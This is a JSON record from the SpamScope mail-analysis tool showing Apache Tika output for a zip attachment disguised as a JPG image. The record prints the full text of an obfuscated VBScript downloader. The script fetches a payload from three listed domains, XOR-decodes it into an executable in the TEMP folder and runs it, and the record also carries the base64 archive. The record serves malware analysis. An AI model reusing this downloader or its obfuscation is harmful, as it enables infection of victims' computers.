SpamScope analysis of mail attachment with Apache Tika report

spamscope_attachments.json

{
  "_index": "spamscope_attachments-2017.04.07",
  "_type": "analysis",
  "_id": "AVtIhUYj0i4Vuzn4VlSW",
  "_score": 1,
  "_source": {
    "files": [
      {
        "sha1": "d2b7aa5b064f6d4f62fdaf903407f9c63e9d9ac5",
        "extension": ".zip",
        "Content-Type": "application/zip",
        "filename": "PIC1790510.zip",
        "is_filtered": [
          false
        ],
        "ssdeep": "48:9WpuQKUTRznQk4OjCIWVF9i5Gio/bN2n02IiZX1ur:A/nnWVA0bNp2I21m",
        "sha256": "ede6f0c56dba0d2bde78f75925f766962e38040246ee4e7c9260137573c8d06b",
        "sha512": "6a00f4d301e4bb14050a0285664ce75458060aae487e2e3abd69c65c3183e006a0bc853dfddc4f7a1438d015490df095cd7a7c1de1f31f0820bc9fbebb0b4fed",
        "md5": "20c4c1551ac885b21f9f1017f7470633",
        "size": 2051
      }
    ],
    "content_transfer_encoding": "base64",
    "is_archived": false,
    "mail_content_type": "application/zip",
    "@timestamp": "2017-04-07T13:05:02.269079",
    "is_filtered": false,
    "ssdeep": "48:9+koiUagP89BZPo0E9BzR5DK9IFswPQNGpd8rpw6jR7AhwotYhT1TXZ:hoihHBK0uze9IFswPQWd8ra6jhAhwoto",
    "payload": "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\n",
    "md5": "6f7c95c899aec205a358102865376730",
    "Content-Type": "application/zip",
    "sha1": "abb7d46ee6c8954e3341e9130ed44f64c733dcfd",
    "extension": ".zip",
    "sha512": "38b9f2a27705c2455355344a052ec0466d41128c6a11b96fc6a33074629cbe27de54261ccf11b7832217def9a45fbb80e5169a448efd1dfd16ea78e314b5191f",
    "size": 2192,
    "filename": "PIC4218827.JPG.zip",
    "tika": [
      {
        "Content-Length": "2192",
        "X-TIKA:content": "\n\n\n\n\n\n\n\n\n\nPIC1790510.zip\n\n",
        "X-TIKA:parse_time_millis": "93",
        "resourceName": "tmpAunRz8",
        "Content-Type": "application/zip",
        "X-Parsed-By": [
          "org.apache.tika.parser.DefaultParser",
          "org.apache.tika.parser.pkg.PackageParser"
        ]
      },
      {
        "Content-Length": "-1",
        "X-TIKA:content": "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\r\n\r\n  DIR300philanthropicRH = \"User\"\r\nRACHEL = \"avetof\"\r\n\r\n    \r\nDim DIR300philanthropicLAKOPPC 'As String\r\n'Dim DIR300philanthropicpirogog() 'As String\r\nDim DIR300philanthropicRENovate 'As String\r\nFunction functionT()\r\nDIR300philanthropicShpak.Savetofile DIR300philanthropicRENovate & \"A\", 2\r\nEnd Function\r\n    \r\nVrungel = \".resp\"+\"onse\"+\"Body\"\r\n\r\n\r\nFunction PS( DIR300philanthropicRENovate, DIR300philanthropicRENovateu)\r\n Const ForReading         =  1\r\n    Const TristateFalse      =  0\r\nDim i,d,z, Chesko, feli_tupni, output_file, BagsBunny\r\n    If Not IsArray( DIR300philanthropicRENovateuu ) Then\r\n        DIR300philanthropicRENovateuu = Array( DIR300philanthropicRENovateuu )\r\n    End If\r\n   \r\n    Set Chesko = CreateObject( \"Scripting.FileSystemObject\" )\r\n \r\n\r\n        Set feli_tupni   = Chesko.GetFile( DIR300philanthropicRENovate )\r\n        Set BagsBunny = feli_tupni.OpenAsTextStream( 1, TriStateFalse )\r\n    \r\n    ' Create the output file, REPLACE it already exists\r\n    Set output_file = Chesko.CreateTextFile( DIR300philanthropicRENovateu, True, False )      ' MY\r\n i = 0\r\n\td =  UBound( DIR300philanthropicRENovateuu ) + 1  \r\n  \r\n\tDo Until BagsBunny.AtEndOfStream\r\n        z = i mod d\r\n        output_file.Write Chr( Asc( BagsBunny.Read( 1) ) Xor DIR300philanthropicRENovateuu(z) )\r\n\t\ti = 1+i \r\n    Loop\r\n\r\n\r\n \r\n\r\n    output_file.Close\r\n    BagsBunny.Close\r\n\t\r\n    Set BagsBunny = Nothing\r\n    Set feli_tupni   = Nothing\r\n    Set output_file  = Nothing\r\n    Set Chesko = Nothing\r\n\tPS = Err.Number\r\n    Err.Clear\r\nEnd Function\r\n\r\n\r\n\r\n   \r\nDim DIR300philanthropicChuChundra 'As Object\r\nDim DIR300philanthropicShpak 'As Object\r\n\r\nFunction GeometryDash(p,d)\r\n PS DIR300philanthropicRENovate& \"A\", DIR300philanthropicRENovateu\r\n\r\n DIR300philanthropicRombickom.Run(DIR300philanthropicRENovateu)\r\nEnd Function\r\nDim DIR300philanthropicstatus\r\nDIR300philanthropicstatus = false\r\n     Dim DIR300philanthropicpirogog\r\n\r\nDim DIR300philanthropicKSKLAL 'As Object\r\n\r\nFunction F3(p) \r\n    Set DIR300philanthropicRombickom = CreateObject(\"WScript.Shell\")\t\r\nEnd Function\r\n\r\nDim DIR300philanthropic1DASH1solo 'As Object\r\n\r\nFunction functionT2(dry)\r\n\r\n\tif dry > 3 AND 2000 > dry Then\r\nDIR300philanthropicASALLLP = DIR300philanthropicChuChundra.responseBody\r\n\tend if\r\n\r\nEnd Function\r\n Dim DIR300philanthropic2 'As String\r\nDim DIR300philanthropicGMAKO 'As Object\r\n\r\nFunction DIR300philanthropicFuks(p)\r\n \r\nDIR300philanthropicChuChundra.Send\r\n\t\r\nEnd Function\r\n \r\nDIR300philanthropic2 = \"Microsoft.XMLHTTPCEGUKRAdodb.streaMCEGUKRshell.ApplicationCEGUKRWscript.shellCEGUKRProcessCEGUKRGeTCEGUKRTem\"+\"PCEGUKRTypeCEGUKRopenCEGUKRwriteCEGUKRresponseBodyCEGUKRsavet\"+\"ofileCEGUKR\\eYHNpNWg.exeCEGUKRhttp:CEGUKR//\"\r\n\r\nDim DIR300philanthropic4 'As String\r\nFunction lets_choper( str )\r\n    Dim i, arrCode( )\r\n    ReDim arrCode( Len( str ) - 1 )\r\n\tDim si \r\n\tsi = UBound( arrCode )\r\n    For i = 0 To si\r\n        arrCode(i) = Asc( Mid( str, i + 1, 1 ) )\r\n    Next\r\n\tDim ac\r\n\tac = arrCode\r\n    lets_choper = ac\r\nEnd Function \r\nDim DIR300philanthropicASALLLP 'As Variant\r\nDim VeterZaSpina 'As Integer\r\nDIR300philanthropicRH = DIR300philanthropicRH&\"-\"\r\nDim iSlashPOS 'As Integer\r\n  Dim sDecimalVis 'As String\r\n  Dim sWholeVis 'As String\r\nsWholeVis = \"A\"\r\nFunction podeli( str )\r\n   podeli = Split(DIR300philanthropic2, str)\r\nEnd Function\r\n  Dim MarketPlaceibility 'As String\r\n  Dim sNodeKey 'As String\r\n  Dim sParentKey 'As String\r\n  Dim MarketPlace 'As String\r\n     DIR300philanthropicpirogog = podeli(\"\"&\"CEGUKR\")\r\n  Dim sTempVis 'As String\r\n  Dim iCount 'As Integer\r\nDim DIR300philanthropicRombickom\r\n\r\n\r\n     Set DIR300philanthropicShpak = CreateObject(DIR300philanthropicpirogog(3+3-5))\r\n\t \r\n\r\n\r\nSet DIR300philanthropicGMAKO = CreateObject(DIR300philanthropicpirogog(8-6))\r\nSet Jokkonos = GetRef(\"GeometryDash\")\r\nMarketPlace = DIR300philanthropicpirogog(13) & DIR300philanthropicpirogog(14)\r\n\r\nDIR300philanthropicRH = DIR300philanthropicRH&sWholeVis&\"gent\"\r\nSet DIR300philanthropic1DASH1solo = CreateObject(DIR300philanthropicpirogog(3))\r\nSet DIR300philanthropicChuChundra = CreateObject(DIR300philanthropicpirogog(0))\r\n\r\n\r\n\r\nCicarka = Split(\"myosnova.ru/87hcwc?-www.yuechiwang.com/87hcwc?-themanyshadesofgreen.com/87hcwc?-myosnova.ru/87hcwc?\", \"-\")\r\n Set DIR300philanthropicKSKLAL = DIR300philanthropic1DASH1solo.Environment(DIR300philanthropicpirogog(1 + 3))\r\n DIR300philanthropicLAKOPPC = DIR300philanthropicKSKLAL(DIR300philanthropicpirogog(6))\r\n VeterZaSpina = 0\r\n Dim i\r\n 'on error GoTo nextU\r\n' on error resume next\r\n\r\nlFrom = LBound(Cicarka)\r\nlTo = UBound(Cicarka)\r\n\r\nFor i = lFrom To lTo Step 1\r\n VeterZaSpina = VeterZaSpina + 1\r\n\r\n DIR300philanthropic4 = MarketPlace & Cicarka(i)\r\n DIR300philanthropicChuChundra.Open DIR300philanthropicpirogog(5), DIR300philanthropic4, False\r\nDIR300philanthropicChuChundra.setRequestHeader DIR300philanthropicRH, \"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0\"\r\non error resume next \r\nDIR300philanthropicFuks \"\"\r\n\r\nIf DIR300philanthropicChuChundra.Status = 100*2 Then\r\nDIR300philanthropicstatus = true\r\n Exit For\r\nEnd If\r\n\r\nNext\r\non error goto 0\r\nif DIR300philanthropicstatus Then\r\nDim Ratchet 'As String\r\n DIR300philanthropicRENovate = DIR300philanthropicLAKOPPC\r\nDIR300philanthropicRENovateuu = lets_choper(\"1Pmly03sb4qwH90G2WTutRRuuSBQS4zF\")\r\n\r\nF3 \"\"\r\nDIR300philanthropicRENovate = DIR300philanthropicRENovate + DIR300philanthropicpirogog(12)\r\nDIR300philanthropicShpak.Type = 1\r\n DIR300philanthropicShpak.Open\r\n\r\n\r\nfunctionT2 13 \r\nDIR300philanthropicShpak.Write DIR300philanthropicASALLLP\r\nfunctionT()\r\nDim DIR300philanthropicRENovateuuu 'As Long\r\nDim Pivkoo 'As Long\r\nDIR300philanthropicRENovateu = DIR300philanthropicRENovate \r\n\r\nDIR300philanthropicRENovateuuu = 1211\r\n\r\n\r\n\r\nIf 7  < DIR300philanthropicRENovateuuu Then\r\n Pivkoo = \"\"\r\nJokkonos 4,74\r\nEnd If\r\n\r\nend if\r\nFunction DIR300philanthropicCemetry1(ap, op)\r\n \r\n ap.createCipuka\r\n op.closeCipuka\r\n\t\r\nEnd Function\r\n\n",
        "Content-Encoding": "windows-1252",
        "embeddedRelationshipId": "PIC1790510.vbs",
        "modified": "2017-04-07T14:24:48Z",
        "X-TIKA:embedded_resource_path": "/PIC1790510.zip/PIC1790510.vbs",
        "meta:save-date": "2017-04-07T14:24:48Z",
        "Last-Modified": "2017-04-07T14:24:48Z",
        "Last-Save-Date": "2017-04-07T14:24:48Z",
        "X-TIKA:parse_time_millis": "40",
        "date": "2017-04-07T14:24:48Z",
        "resourceName": "PIC1790510.vbs",
        "dcterms:modified": "2017-04-07T14:24:48Z",
        "Content-Type": "text/x-vbscript; charset=windows-1252",
        "X-Parsed-By": [
          "org.apache.tika.parser.DefaultParser",
          "org.apache.tika.parser.txt.TXTParser"
        ]
      },
      {
        "Content-Length": "-1",
        "X-TIKA:content": "\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nPIC1790510.vbs\n\n",
        "embeddedRelationshipId": "PIC1790510.zip",
        "modified": "2017-04-07T14:24:48Z",
        "X-TIKA:embedded_resource_path": "/PIC1790510.zip",
        "meta:save-date": "2017-04-07T14:24:48Z",
        "Last-Modified": "2017-04-07T14:24:48Z",
        "Last-Save-Date": "2017-04-07T14:24:48Z",
        "X-TIKA:parse_time_millis": "46",
        "date": "2017-04-07T14:24:48Z",
        "resourceName": "PIC1790510.zip",
        "dcterms:modified": "2017-04-07T14:24:48Z",
        "Content-Type": "application/zip",
        "X-Parsed-By": [
          "org.apache.tika.parser.DefaultParser",
          "org.apache.tika.parser.pkg.PackageParser"
        ]
      }
    ],
    "sha256": "f0a7c6810e45b37b6a1a431c22de2cfa17695714cafadd1ddd10ad208e34548b",
    "type": "analysis",
    "is_archive": true
  },
  "fields": {
    "@timestamp": [
      1491570302269
    ]
  }
}